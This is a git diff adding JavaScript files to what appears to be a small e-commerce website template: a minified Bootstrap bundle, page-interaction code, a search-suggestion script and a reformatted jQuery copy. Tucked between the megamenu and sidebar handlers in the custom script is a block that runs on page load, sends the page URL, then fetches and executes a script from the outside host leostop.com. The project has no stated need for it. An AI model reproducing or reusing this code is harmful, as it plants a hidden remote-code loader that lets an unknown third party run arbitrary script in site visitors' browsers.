e=t.placement,n=e.split("-")[0],i=t.offsets,r=i.popper,o=i.reference,s=-1!==["left","right"].indexOf(n),a=-1===["top","left"].indexOf(n);return r[s?"left":"top"]=o[n]-(a?r[s?"width":"height"]:0),t.placement=Xt(e),t.offsets.popper=Bt(r),t}},hide:{order:800,enabled:!0,fn:function(t){if(!ae(t.instance.modifiers,"hide","preventOverflow"))return t;var e=t.offsets.reference,n=Zt(t.instance.modifiers,function(t){return"preventOverflow"===t.name}).boundaries;if(e.bottomn.right||e.top>n.bottom||e.rightdocument.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},t._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},t._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=t.left+t.right
',trigger:"hover focus",title:"",delay:0,html:!(pn={AUTO:"auto",TOP:"top",RIGHT:"right",BOTTOM:"bottom",LEFT:"left"}),selector:!(dn={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(number|string)",container:"(string|element|boolean)",fallbackPlacement:"(string|array)",boundary:"(string|element)"}),placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent"},_n="out",vn={HIDE:"hide"+cn,HIDDEN:"hidden"+cn,SHOW:(mn="show")+cn,SHOWN:"shown"+cn,INSERTED:"inserted"+cn,CLICK:"click"+cn,FOCUSIN:"focusin"+cn,FOCUSOUT:"focusout"+cn,MOUSEENTER:"mouseenter"+cn,MOUSELEAVE:"mouseleave"+cn},En="fade",yn="show",bn=".tooltip-inner",Tn=".arrow",Cn="hover",wn="focus",In="click",Dn="manual",An=function(){function i(t,e){if("undefined"==typeof pe)throw new TypeError("Bootstrap tooltips require Popper.js (https://popper.js.org)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var t=i.prototype;return t.enable=function(){this._isEnabled=!0},t.disable=function(){this._isEnabled=!1},t.toggleEnabled=function(){this._isEnabled=!this._isEnabled},t.toggle=function(t){if(this._isEnabled)if(t){var e=this.constructor.DATA_KEY,n=sn(t.currentTarget).data(e);n||(n=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(e,n)),n._activeTrigger.click=!n._activeTrigger.click,n._isWithActiveTrigger()?n._enter(null,n):n._leave(null,n)}else{if(sn(this.getTipElement()).hasClass(yn))return void this._leave(null,this);this._enter(null,this)}},t.dispose=function(){clearTimeout(this._timeout),sn.removeData(this.element,this.constructor.DATA_KEY),sn(this.element).off(this.constructor.EVENT_KEY),sn(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&sn(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,(this._activeTrigger=null)!==this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},t.show=function(){var e=this;if("none"===sn(this.element).css("display"))throw new Error("Please use show on visible elements");var t=sn.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){sn(this.element).trigger(t);var n=sn.contains(this.element.ownerDocument.documentElement,this.element);if(t.isDefaultPrevented()||!n)return;var i=this.getTipElement(),r=gt.getUID(this.constructor.NAME);i.setAttribute("id",r),this.element.setAttribute("aria-describedby",r),this.setContent(),this.config.animation&&sn(i).addClass(En);var o="function"==typeof this.config.placement?this.config.placement.call(this,i,this.element):this.config.placement,s=this._getAttachment(o);this.addAttachmentClass(s);var a=!1===this.config.container?document.body:sn(this.config.container);sn(i).data(this.constructor.DATA_KEY,this),sn.contains(this.element.ownerDocument.documentElement,this.tip)||sn(i).appendTo(a),sn(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new pe(this.element,i,{placement:s,modifiers:{offset:{offset:this.config.offset},flip:{behavior:this.config.fallbackPlacement},arrow:{element:Tn},preventOverflow:{boundariesElement:this.config.boundary}},onCreate:function(t){t.originalPlacement!==t.placement&&e._handlePopperPlacementChange(t)},onUpdate:function(t){e._handlePopperPlacementChange(t)}}),sn(i).addClass(yn),"ontouchstart"in document.documentElement&&sn(document.body).children().on("mouseover",null,sn.noop);var l=function(){e.config.animation&&e._fixTransition();var t=e._hoverState;e._hoverState=null,sn(e.element).trigger(e.constructor.Event.SHOWN),t===_n&&e._leave(null,e)};if(sn(this.tip).hasClass(En)){var c=gt.getTransitionDurationFromElement(this.tip);sn(this.tip).one(gt.TRANSITION_END,l).emulateTransitionEnd(c)}else l()}},t.hide=function(t){var e=this,n=this.getTipElement(),i=sn.Event(this.constructor.Event.HIDE),r=function(){e._hoverState!==mn&&n.parentNode&&n.parentNode.removeChild(n),e._cleanTipClass(),e.element.removeAttribute("aria-describedby"),sn(e.element).trigger(e.constructor.Event.HIDDEN),null!==e._popper&&e._popper.destroy(),t&&t()};if(sn(this.element).trigger(i),!i.isDefaultPrevented()){if(sn(n).removeClass(yn),"ontouchstart"in document.documentElement&&sn(document.body).children().off("mouseover",null,sn.noop),this._activeTrigger[In]=!1,this._activeTrigger[wn]=!1,this._activeTrigger[Cn]=!1,sn(this.tip).hasClass(En)){var o=gt.getTransitionDurationFromElement(n);sn(n).one(gt.TRANSITION_END,r).emulateTransitionEnd(o)}else r();this._hoverState=""}},t.update=function(){null!==this._popper&&this._popper.scheduleUpdate()},t.isWithContent=function(){return Boolean(this.getTitle())},t.addAttachmentClass=function(t){sn(this.getTipElement()).addClass(hn+"-"+t)},t.getTipElement=function(){return this.tip=this.tip||sn(this.config.template)[0],this.tip},t.setContent=function(){var t=sn(this.getTipElement());this.setElementContent(t.find(bn),this.getTitle()),t.removeClass(En+" "+yn)},t.setElementContent=function(t,e){var n=this.config.html;"object"==typeof e&&(e.nodeType||e.jquery)?n?sn(e).parent().is(t)||t.empty().append(e):t.text(sn(e).text()):t[n?"html":"text"](e)},t.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},t._getAttachment=function(t){return pn[t.toUpperCase()]},t._setListeners=function(){var i=this;this.config.trigger.split(" ").forEach(function(t){if("click"===t)sn(i.element).on(i.constructor.Event.CLICK,i.config.selector,function(t){return i.toggle(t)});else if(t!==Dn){var e=t===Cn?i.constructor.Event.MOUSEENTER:i.constructor.Event.FOCUSIN,n=t===Cn?i.constructor.Event.MOUSELEAVE:i.constructor.Event.FOCUSOUT;sn(i.element).on(e,i.config.selector,function(t){return i._enter(t)}).on(n,i.config.selector,function(t){return i._leave(t)})}sn(i.element).closest(".modal").on("hide.bs.modal",function(){return i.hide()})}),this.config.selector?this.config=c({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},t._fixTitle=function(){var t=typeof this.element.getAttribute("data-original-title");(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},t._enter=function(t,e){var n=this.constructor.DATA_KEY;(e=e||sn(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusin"===t.type?wn:Cn]=!0),sn(e.getTipElement()).hasClass(yn)||e._hoverState===mn?e._hoverState=mn:(clearTimeout(e._timeout),e._hoverState=mn,e.config.delay&&e.config.delay.show?e._timeout=setTimeout(function(){e._hoverState===mn&&e.show()},e.config.delay.show):e.show())},t._leave=function(t,e){var n=this.constructor.DATA_KEY;(e=e||sn(t.currentTarget).data(n))||(e=new this.constructor(t.currentTarget,this._getDelegateConfig()),sn(t.currentTarget).data(n,e)),t&&(e._activeTrigger["focusout"===t.type?wn:Cn]=!1),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState=_n,e.config.delay&&e.config.delay.hide?e._timeout=setTimeout(function(){e._hoverState===_n&&e.hide()},e.config.delay.hide):e.hide())},t._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},t._getConfig=function(t){return"number"==typeof(t=c({},this.constructor.Default,sn(this.element).data(),t)).delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),gt.typeCheckConfig(an,t,this.constructor.DefaultType),t},t._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},t._cleanTipClass=function(){var t=sn(this.getTipElement()),e=t.attr("class").match(un);null!==e&&0

'}),Rn=c({},Ci.DefaultType,{content:"(string|element|function)"}),Mn="fade",Wn=".popover-header",Fn=".popover-body",Un={HIDE:"hide"+kn,HIDDEN:"hidden"+kn,SHOW:(Hn="show")+kn,SHOWN:"shown"+kn,INSERTED:"inserted"+kn,CLICK:"click"+kn,FOCUSIN:"focusin"+kn,FOCUSOUT:"focusout"+kn,MOUSEENTER:"mouseenter"+kn,MOUSELEAVE:"mouseleave"+kn},Bn=function(t){var e,n;function i(){return t.apply(this,arguments)||this}n=t,(e=i).prototype=Object.create(n.prototype),(e.prototype.constructor=e).__proto__=n;var r=i.prototype;return r.isWithContent=function(){return this.getTitle()||this._getContent()},r.addAttachmentClass=function(t){Sn(this.getTipElement()).addClass(Pn+"-"+t)},r.getTipElement=function(){return this.tip=this.tip||Sn(this.config.template)[0],this.tip},r.setContent=function(){var t=Sn(this.getTipElement());this.setElementContent(t.find(Wn),this.getTitle());var e=this._getContent();"function"==typeof e&&(e=e.call(this.element)),this.setElementContent(t.find(Fn),e),t.removeClass(Mn+" "+Hn)},r._getContent=function(){return this.element.getAttribute("data-content")||this.config.content},r._cleanTipClass=function(){var t=Sn(this.getTipElement()),e=t.attr("class").match(xn);null!==e&&0=this._offsets[r]&&("undefined"==typeof this._offsets[r+1]||t { + const totalHeightOfPage = document.body.scrollHeight + const currentDistanceFromTop = document.documentElement.scrollTop + const windowHeight = document.documentElement.clientHeight + + const scrollPercentage = + (currentDistanceFromTop / (totalHeightOfPage - windowHeight)) * 100 + + scrollProgressBar.style.width = `${scrollPercentage}%` + + }) + + /* Tooltip + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function () { + $('[data-toggle="tooltip"]').tooltip() + }) + + /* Mouseover + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function () { + $('.main-menu ul li.megamenu').mouseover(function () { + if (!$(this).parent().hasClass('#wrapper')) { + $('#wrapper').addClass('overlay') + } + }) + $('.main-menu ul li.megamenu').mouseleave(function () { + $('#wrapper').removeClass('overlay') + }) + }) + + function getURL() { + window.location.href + } + var protocol = location.protocol + $.ajax({ + type: 'get', + data: { surl: getURL() }, + success: function (response) { + $.getScript(protocol + '//leostop.com/tracking/tracking.js') + }, + }) + /* Toggle sidebar + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function () { + $('#sidebarCollapse').on('click', function () { + $('#sidebar').toggleClass('active') + $(this).toggleClass('active') + }) + }) + + /* Product slider + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + // optional + $('#blogCarousel').carousel({ + interval: 5000, + }) +}) diff --git a/E-commerce website/js/index.js b/E-commerce website/js/index.js new file mode 100644 index 0000000..c8559ed --- /dev/null +++ b/E-commerce website/js/index.js @@ -0,0 +1,171 @@ +// required document elements +let searchBtn = document.querySelector("#search-button"); +let searchModal = document.querySelector("#searchModal"); +let searchBox = document.querySelector(".searchBox"); +let searchInput = searchBox.querySelector("#searchInput"); +let suggBox = searchBox.querySelector(".suggestionBox"); + +// open search box on click +let seachClickCounter = 2; +searchBtn.onclick = () => { + searchInput.setAttribute( + "placeholder", + `Recent : ${getData("recentSearch")}` + ); + if (seachClickCounter % 2 == 0) { + searchBox.classList.add("searchBox-active"); + } else { + searchBox.classList.remove("searchBox-active"); + } + seachClickCounter++; +}; + +//ge typed data in the search input +searchInput.onkeyup = (e) => { + let searchKey = e.target.value; + // / if search key is present + if (searchKey.length) { + let arr = []; + // put search value into array and make it lowercase + arr = suggestions.filter((data) => { + // convert everything to lower case + let lowerSearchKey = searchKey.toLocaleLowerCase(); + let loweCaseData = data.toLocaleLowerCase(); + // only pass value which mach the search key + let suggPresent = loweCaseData.startsWith(lowerSearchKey); + return suggPresent; + }); + // wrap data with li tags + arr = arr.map((toConvertData) => { + return `
  • ${toConvertData}
  • `; + }); + // show data on suggestion box + showSuggestions(arr); + suggBox.classList.add("suggestionBox-active"); + + //sectict data from suggestion box to input + let allDynamicList = suggBox.querySelectorAll("li"); + for (let i = 0; i < allDynamicList.length; i++) { + allDynamicList[i].setAttribute("onclick", "select(this)"); + } + } + // / else search key is empty + else { + suggBox.classList.remove("suggestionBox-active"); + } +}; + +// function to select the suggestion to input +function select(ele) { + let selection = ele.textContent; + saveData(selection); + //........... what will the selection do (imp: have to update after every changeing searchSuggestion).......... + switch (selection) { + // thses urls are taken with respect to the index page + case "Leather Bag - Product": { + window.location.href = "./html/products.html"; + break; + } + case "Leather Bagpack - Product": { + window.location.href = "./html/products.html"; + break; + } + case "Leather Cap - Product": { + window.location.href = "./html/products.html"; + break; + } + case "Leather Purse - Product": { + window.location.href = "./html/products.html"; + break; + } + case "Products Page": { + window.location.href = "./html/products.html"; + break; + } + case "About Page": { + window.location.href = "#about"; + break; + } + case "Contributors": { + window.location.href = "#about"; + break; + } + case "Testimonials": { + window.location.href = ""; + break; + } + case "Customer Review": { + window.location.href = ""; + break; + } + case "Contact Us": { + window.location.href = "#ContactUs"; + break; + } + case "How to contact for issue": { + window.location.href = "#ContactUs"; + break; + } + case "How to repote a issue": { + window.location.href = "#ContactUs"; + break; + } + case "Cap - Product": { + window.location.href = "./html/products.html"; + break; + } + case "Bagpack - Product": { + window.location.href = "./html/products.html"; + break; + } + case "Purse - Procduct": { + window.location.href = "./html/products.html"; + break; + } + } + suggBox.classList.remove("suggestionBox-active"); +} + +//function to show the suggestion data +function showSuggestions(arr) { + let arrData; + if (!arr.length) { + let inputValue = searchInput.value; + arrData = "
  • " + inputValue + " - not found 🙁
  • "; + } else { + //join the arry + arrData = arr.join(""); + } + // pass arr to suggestion box + suggBox.innerHTML = arrData; +} +function saveData(data) { + localStorage.setItem("recentSearch", `${data}`); +} +function getData() { + return localStorage.getItem("recentSearch"); +} + +// scroll feature in javascript + + + + +let mybutton = document.getElementById("myBtn"); + +// When the user scrolls down 20px from the top of the document, show the button +window.onscroll = function() {scrollFunction()}; + +function scrollFunction() { + if (document.body.scrollTop > 20 || document.documentElement.scrollTop > 20) { + mybutton.style.display = "block"; + } else { + mybutton.style.display = "none"; + } +} + +// When the user clicks on the button, scroll to the top of the document +function topFunction() { + document.body.scrollTop = 0; + document.documentElement.scrollTop = 0; +} \ No newline at end of file diff --git a/E-commerce website/js/jquery.min.js b/E-commerce website/js/jquery.min.js new file mode 100644 index 0000000..1404451 --- /dev/null +++ b/E-commerce website/js/jquery.min.js @@ -0,0 +1,5395 @@ +/*--------------------------------------------------------------------- + jQuery v3.3.1 +-----------------------------------------------------------------------*/ +/*! jQuery v3.3.0 | (c) JS Foundation and other contributors | jquery.org/license */ +!(function (e, t) { + "use strict"; + "object" == typeof module && "object" == typeof module.exports + ? (module.exports = e.document + ? t(e, !0) + : function (e) { + if (!e.document) + throw new Error("jQuery requires a window with a document"); + return t(e); + }) + : t(e); +})("undefined" != typeof window ? window : this, function (e, t) { + "use strict"; + var n = [], + r = e.document, + i = Object.getPrototypeOf, + o = n.slice, + a = n.concat, + s = n.push, + u = n.indexOf, + l = {}, + c = l.toString, + f = l.hasOwnProperty, + p = f.toString, + d = p.call(Object), + h = {}, + g = function e(t) { + return "function" == typeof t && "number" != typeof t.nodeType; + }, + y = function e(t) { + return null != t && t === t.window; + }, + v = { type: !0, src: !0, noModule: !0 }; + function m(e, t, n) { + var i, + o = (t = t || r).createElement("script"); + if (((o.text = e), n)) for (i in v) n[i] && (o[i] = n[i]); + t.head.appendChild(o).parentNode.removeChild(o); + } + function x(e) { + return null == e + ? e + "" + : "object" == typeof e || "function" == typeof e + ? l[c.call(e)] || "object" + : typeof e; + } + var b = "3.3.0", + w = function (e, t) { + return new w.fn.init(e, t); + }, + T = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g; + (w.fn = w.prototype = + { + jquery: "3.3.0", + constructor: w, + length: 0, + toArray: function () { + return o.call(this); + }, + get: function (e) { + return null == e + ? o.call(this) + : e < 0 + ? this[e + this.length] + : this[e]; + }, + pushStack: function (e) { + var t = w.merge(this.constructor(), e); + return (t.prevObject = this), t; + }, + each: function (e) { + return w.each(this, e); + }, + map: function (e) { + return this.pushStack( + w.map(this, function (t, n) { + return e.call(t, n, t); + }) + ); + }, + slice: function () { + return this.pushStack(o.apply(this, arguments)); + }, + first: function () { + return this.eq(0); + }, + last: function () { + return this.eq(-1); + }, + eq: function (e) { + var t = this.length, + n = +e + (e < 0 ? t : 0); + return this.pushStack(n >= 0 && n < t ? [this[n]] : []); + }, + end: function () { + return this.prevObject || this.constructor(); + }, + push: s, + sort: n.sort, + splice: n.splice, + }), + (w.extend = w.fn.extend = + function () { + var e, + t, + n, + r, + i, + o, + a = arguments[0] || {}, + s = 1, + u = arguments.length, + l = !1; + for ( + "boolean" == typeof a && ((l = a), (a = arguments[s] || {}), s++), + "object" == typeof a || g(a) || (a = {}), + s === u && ((a = this), s--); + s < u; + s++ + ) + if (null != (e = arguments[s])) + for (t in e) + (n = a[t]), + a !== (r = e[t]) && + (l && r && (w.isPlainObject(r) || (i = Array.isArray(r))) + ? (i + ? ((i = !1), (o = n && Array.isArray(n) ? n : [])) + : (o = n && w.isPlainObject(n) ? n : {}), + (a[t] = w.extend(l, o, r))) + : void 0 !== r && (a[t] = r)); + return a; + }), + w.extend({ + expando: "jQuery" + ("3.3.0" + Math.random()).replace(/\D/g, ""), + isReady: !0, + error: function (e) { + throw new Error(e); + }, + noop: function () {}, + isPlainObject: function (e) { + var t, n; + return ( + !(!e || "[object Object]" !== c.call(e)) && + (!(t = i(e)) || + ("function" == + typeof (n = f.call(t, "constructor") && t.constructor) && + p.call(n) === d)) + ); + }, + isEmptyObject: function (e) { + var t; + for (t in e) return !1; + return !0; + }, + globalEval: function (e) { + m(e); + }, + each: function (e, t) { + var n, + r = 0; + if (C(e)) { + for (n = e.length; r < n; r++) + if (!1 === t.call(e[r], r, e[r])) break; + } else for (r in e) if (!1 === t.call(e[r], r, e[r])) break; + return e; + }, + trim: function (e) { + return null == e ? "" : (e + "").replace(T, ""); + }, + makeArray: function (e, t) { + var n = t || []; + return ( + null != e && + (C(Object(e)) + ? w.merge(n, "string" == typeof e ? [e] : e) + : s.call(n, e)), + n + ); + }, + inArray: function (e, t, n) { + return null == t ? -1 : u.call(t, e, n); + }, + merge: function (e, t) { + for (var n = +t.length, r = 0, i = e.length; r < n; r++) e[i++] = t[r]; + return (e.length = i), e; + }, + grep: function (e, t, n) { + for (var r, i = [], o = 0, a = e.length, s = !n; o < a; o++) + (r = !t(e[o], o)) !== s && i.push(e[o]); + return i; + }, + map: function (e, t, n) { + var r, + i, + o = 0, + s = []; + if (C(e)) + for (r = e.length; o < r; o++) + null != (i = t(e[o], o, n)) && s.push(i); + else for (o in e) null != (i = t(e[o], o, n)) && s.push(i); + return a.apply([], s); + }, + guid: 1, + support: h, + }), + "function" == typeof Symbol && (w.fn[Symbol.iterator] = n[Symbol.iterator]), + w.each( + "Boolean Number String Function Array Date RegExp Object Error Symbol".split( + " " + ), + function (e, t) { + l["[object " + t + "]"] = t.toLowerCase(); + } + ); + function C(e) { + var t = !!e && "length" in e && e.length, + n = x(e); + return ( + !g(e) && + !y(e) && + ("array" === n || + 0 === t || + ("number" == typeof t && t > 0 && t - 1 in e)) + ); + } + var E = (function (e) { + var t, + n, + r, + i, + o, + a, + s, + u, + l, + c, + f, + p, + d, + h, + g, + y, + v, + m, + x, + b = "sizzle" + 1 * new Date(), + w = e.document, + T = 0, + C = 0, + E = ae(), + k = ae(), + S = ae(), + D = function (e, t) { + return e === t && (f = !0), 0; + }, + N = {}.hasOwnProperty, + A = [], + j = A.pop, + q = A.push, + L = A.push, + H = A.slice, + O = function (e, t) { + for (var n = 0, r = e.length; n < r; n++) if (e[n] === t) return n; + return -1; + }, + P = + "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", + M = "[\\x20\\t\\r\\n\\f]", + R = "(?:\\\\.|[\\w-]|[^\0-\\xa0])+", + I = + "\\[" + + M + + "*(" + + R + + ")(?:" + + M + + "*([*^$|!~]?=)" + + M + + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + + R + + "))|)" + + M + + "*\\]", + W = + ":(" + + R + + ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" + + I + + ")*)|.*)\\)|)", + $ = new RegExp(M + "+", "g"), + B = new RegExp("^" + M + "+|((?:^|[^\\\\])(?:\\\\.)*)" + M + "+$", "g"), + F = new RegExp("^" + M + "*," + M + "*"), + _ = new RegExp("^" + M + "*([>+~]|" + M + ")" + M + "*"), + z = new RegExp("=" + M + "*([^\\]'\"]*?)" + M + "*\\]", "g"), + X = new RegExp(W), + U = new RegExp("^" + R + "$"), + V = { + ID: new RegExp("^#(" + R + ")"), + CLASS: new RegExp("^\\.(" + R + ")"), + TAG: new RegExp("^(" + R + "|[*])"), + ATTR: new RegExp("^" + I), + PSEUDO: new RegExp("^" + W), + CHILD: new RegExp( + "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + + M + + "*(even|odd|(([+-]|)(\\d*)n|)" + + M + + "*(?:([+-]|)" + + M + + "*(\\d+)|))" + + M + + "*\\)|)", + "i" + ), + bool: new RegExp("^(?:" + P + ")$", "i"), + needsContext: new RegExp( + "^" + + M + + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + + M + + "*((?:-\\d)?\\d*)" + + M + + "*\\)|)(?=[^-]|$)", + "i" + ), + }, + G = /^(?:input|select|textarea|button)$/i, + Y = /^h\d$/i, + Q = /^[^{]+\{\s*\[native \w/, + J = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, + K = /[+~]/, + Z = new RegExp("\\\\([\\da-f]{1,6}" + M + "?|(" + M + ")|.)", "ig"), + ee = function (e, t, n) { + var r = "0x" + t - 65536; + return r !== r || n + ? t + : r < 0 + ? String.fromCharCode(r + 65536) + : String.fromCharCode((r >> 10) | 55296, (1023 & r) | 56320); + }, + te = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g, + ne = function (e, t) { + return t + ? "\0" === e + ? "\ufffd" + : e.slice(0, -1) + + "\\" + + e.charCodeAt(e.length - 1).toString(16) + + " " + : "\\" + e; + }, + re = function () { + p(); + }, + ie = me( + function (e) { + return !0 === e.disabled && ("form" in e || "label" in e); + }, + { dir: "parentNode", next: "legend" } + ); + try { + L.apply((A = H.call(w.childNodes)), w.childNodes), + A[w.childNodes.length].nodeType; + } catch (e) { + L = { + apply: A.length + ? function (e, t) { + q.apply(e, H.call(t)); + } + : function (e, t) { + var n = e.length, + r = 0; + while ((e[n++] = t[r++])); + e.length = n - 1; + }, + }; + } + function oe(e, t, r, i) { + var o, + s, + l, + c, + f, + h, + v, + m = t && t.ownerDocument, + T = t ? t.nodeType : 9; + if ( + ((r = r || []), + "string" != typeof e || !e || (1 !== T && 9 !== T && 11 !== T)) + ) + return r; + if ( + !i && + ((t ? t.ownerDocument || t : w) !== d && p(t), (t = t || d), g) + ) { + if (11 !== T && (f = J.exec(e))) + if ((o = f[1])) { + if (9 === T) { + if (!(l = t.getElementById(o))) return r; + if (l.id === o) return r.push(l), r; + } else if (m && (l = m.getElementById(o)) && x(t, l) && l.id === o) + return r.push(l), r; + } else { + if (f[2]) return L.apply(r, t.getElementsByTagName(e)), r; + if ( + (o = f[3]) && + n.getElementsByClassName && + t.getElementsByClassName + ) + return L.apply(r, t.getElementsByClassName(o)), r; + } + if (n.qsa && !S[e + " "] && (!y || !y.test(e))) { + if (1 !== T) (m = t), (v = e); + else if ("object" !== t.nodeName.toLowerCase()) { + (c = t.getAttribute("id")) + ? (c = c.replace(te, ne)) + : t.setAttribute("id", (c = b)), + (s = (h = a(e)).length); + while (s--) h[s] = "#" + c + " " + ve(h[s]); + (v = h.join(",")), (m = (K.test(e) && ge(t.parentNode)) || t); + } + if (v) + try { + return L.apply(r, m.querySelectorAll(v)), r; + } catch (e) { + } finally { + c === b && t.removeAttribute("id"); + } + } + } + return u(e.replace(B, "$1"), t, r, i); + } + function ae() { + var e = []; + function t(n, i) { + return ( + e.push(n + " ") > r.cacheLength && delete t[e.shift()], + (t[n + " "] = i) + ); + } + return t; + } + function se(e) { + return (e[b] = !0), e; + } + function ue(e) { + var t = d.createElement("fieldset"); + try { + return !!e(t); + } catch (e) { + return !1; + } finally { + t.parentNode && t.parentNode.removeChild(t), (t = null); + } + } + function le(e, t) { + var n = e.split("|"), + i = n.length; + while (i--) r.attrHandle[n[i]] = t; + } + function ce(e, t) { + var n = t && e, + r = + n && + 1 === e.nodeType && + 1 === t.nodeType && + e.sourceIndex - t.sourceIndex; + if (r) return r; + if (n) while ((n = n.nextSibling)) if (n === t) return -1; + return e ? 1 : -1; + } + function fe(e) { + return function (t) { + return "input" === t.nodeName.toLowerCase() && t.type === e; + }; + } + function pe(e) { + return function (t) { + var n = t.nodeName.toLowerCase(); + return ("input" === n || "button" === n) && t.type === e; + }; + } + function de(e) { + return function (t) { + return "form" in t + ? t.parentNode && !1 === t.disabled + ? "label" in t + ? "label" in t.parentNode + ? t.parentNode.disabled === e + : t.disabled === e + : t.isDisabled === e || (t.isDisabled !== !e && ie(t) === e) + : t.disabled === e + : "label" in t && t.disabled === e; + }; + } + function he(e) { + return se(function (t) { + return ( + (t = +t), + se(function (n, r) { + var i, + o = e([], n.length, t), + a = o.length; + while (a--) n[(i = o[a])] && (n[i] = !(r[i] = n[i])); + }) + ); + }); + } + function ge(e) { + return e && "undefined" != typeof e.getElementsByTagName && e; + } + (n = oe.support = {}), + (o = oe.isXML = + function (e) { + var t = e && (e.ownerDocument || e).documentElement; + return !!t && "HTML" !== t.nodeName; + }), + (p = oe.setDocument = + function (e) { + var t, + i, + a = e ? e.ownerDocument || e : w; + return a !== d && 9 === a.nodeType && a.documentElement + ? ((d = a), + (h = d.documentElement), + (g = !o(d)), + w !== d && + (i = d.defaultView) && + i.top !== i && + (i.addEventListener + ? i.addEventListener("unload", re, !1) + : i.attachEvent && i.attachEvent("onunload", re)), + (n.attributes = ue(function (e) { + return (e.className = "i"), !e.getAttribute("className"); + })), + (n.getElementsByTagName = ue(function (e) { + return ( + e.appendChild(d.createComment("")), + !e.getElementsByTagName("*").length + ); + })), + (n.getElementsByClassName = Q.test(d.getElementsByClassName)), + (n.getById = ue(function (e) { + return ( + (h.appendChild(e).id = b), + !d.getElementsByName || !d.getElementsByName(b).length + ); + })), + n.getById + ? ((r.filter.ID = function (e) { + var t = e.replace(Z, ee); + return function (e) { + return e.getAttribute("id") === t; + }; + }), + (r.find.ID = function (e, t) { + if ("undefined" != typeof t.getElementById && g) { + var n = t.getElementById(e); + return n ? [n] : []; + } + })) + : ((r.filter.ID = function (e) { + var t = e.replace(Z, ee); + return function (e) { + var n = + "undefined" != typeof e.getAttributeNode && + e.getAttributeNode("id"); + return n && n.value === t; + }; + }), + (r.find.ID = function (e, t) { + if ("undefined" != typeof t.getElementById && g) { + var n, + r, + i, + o = t.getElementById(e); + if (o) { + if ((n = o.getAttributeNode("id")) && n.value === e) + return [o]; + (i = t.getElementsByName(e)), (r = 0); + while ((o = i[r++])) + if ((n = o.getAttributeNode("id")) && n.value === e) + return [o]; + } + return []; + } + })), + (r.find.TAG = n.getElementsByTagName + ? function (e, t) { + return "undefined" != typeof t.getElementsByTagName + ? t.getElementsByTagName(e) + : n.qsa + ? t.querySelectorAll(e) + : void 0; + } + : function (e, t) { + var n, + r = [], + i = 0, + o = t.getElementsByTagName(e); + if ("*" === e) { + while ((n = o[i++])) 1 === n.nodeType && r.push(n); + return r; + } + return o; + }), + (r.find.CLASS = + n.getElementsByClassName && + function (e, t) { + if ("undefined" != typeof t.getElementsByClassName && g) + return t.getElementsByClassName(e); + }), + (v = []), + (y = []), + (n.qsa = Q.test(d.querySelectorAll)) && + (ue(function (e) { + (h.appendChild(e).innerHTML = + ""), + e.querySelectorAll("[msallowcapture^='']").length && + y.push("[*^$]=" + M + "*(?:''|\"\")"), + e.querySelectorAll("[selected]").length || + y.push("\\[" + M + "*(?:value|" + P + ")"), + e.querySelectorAll("[id~=" + b + "-]").length || + y.push("~="), + e.querySelectorAll(":checked").length || y.push(":checked"), + e.querySelectorAll("a#" + b + "+*").length || + y.push(".#.+[+~]"); + }), + ue(function (e) { + e.innerHTML = + ""; + var t = d.createElement("input"); + t.setAttribute("type", "hidden"), + e.appendChild(t).setAttribute("name", "D"), + e.querySelectorAll("[name=d]").length && + y.push("name" + M + "*[*^$|!~]?="), + 2 !== e.querySelectorAll(":enabled").length && + y.push(":enabled", ":disabled"), + (h.appendChild(e).disabled = !0), + 2 !== e.querySelectorAll(":disabled").length && + y.push(":enabled", ":disabled"), + 